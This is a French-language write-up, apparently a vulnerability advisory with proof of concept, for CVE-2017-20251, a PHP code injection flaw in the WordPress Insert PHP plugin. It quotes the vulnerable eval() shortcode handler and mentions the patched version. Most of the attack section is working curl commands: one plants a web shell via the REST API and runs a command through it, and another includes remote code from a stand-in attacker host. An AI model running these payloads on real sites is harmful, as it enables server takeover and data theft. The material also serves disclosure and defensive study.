
Insert PHP Plugin PHP Code Injection
Injection de code PHP non authentifiée via le traitement des shortcodes dans le plugin Insert PHP
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2017-20251 |
| Plugin | Insert PHP (maintenant Woody Code Snippets) |
| Versions affectées | < 3.3.1 (testé sur 1.3) |
| CWE | CWE-94 (Injection de code) |
| CVSS v3.1 | 9.8 (Critique) |
| Vecteur CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Divulgation | Publique (Exploit-DB 41308) |
Le plugin Insert PHP avant la version 3.3.1 permet à des attaquants distants d'exécuter du code PHP arbitraire via une vulnérabilité d'injection de shortcode. Le plugin enregistre un shortcode [insert_php]...[/insert_php] qui évalue directement le contenu à l'intérieur des balises du shortcode en utilisant la fonction eval() de PHP sans aucune désinfection ni validation.
Un attaquant capable de créer ou de modifier des articles (via l'API REST, XML-RPC, ou avec un accès contributeur/administrateur) peut injecter du code PHP arbitraire dans n'importe quelle page ou article qui affiche son contenu, réalisant ainsi une exécution de code à distance complète sur le serveur web.
La vulnérabilité se trouve dans la fonction will_bontrager_insert_php() enregistrée comme filtre the_content :
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- VULNÉRABLE
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
Points clés :
eval() sans aucune désinfection[insert_php]the_contenteval() exécute du code PHP arbitraire sur le serveurGravité : Critique
Exécution de code à distance (RCE) complète sur le serveur web :
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
eval() (Preuve simple)# Créer un article
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Déclencher
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Vérifier
cat /var/www/html/rce_poc.txt # Devrait afficher : RCE-SUCCESS
Pour les anciennes versions de WordPress où l'API REST permettait la création d'articles non authentifiée :
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
Lorsque le shortcode vulnérable est traité, le code PHP à l'intérieur est exécuté par eval(). Pour le test du fichier marqueur :
Requête : Créer un article avec [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Réponse : Article créé avec succès
Requête : GET /?p=POST_ID
Réponse : La page s'affiche, le code PHP s'exécute, marker.txt est créé sur le serveur
Vérification :
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML (bien que cela n'atténue pas complètement le problème)La version corrigée (3.3.1+) :
[insert_php] à [wbcr_php_snippet]eval() au profit d'un contexte d'exécution sécurisé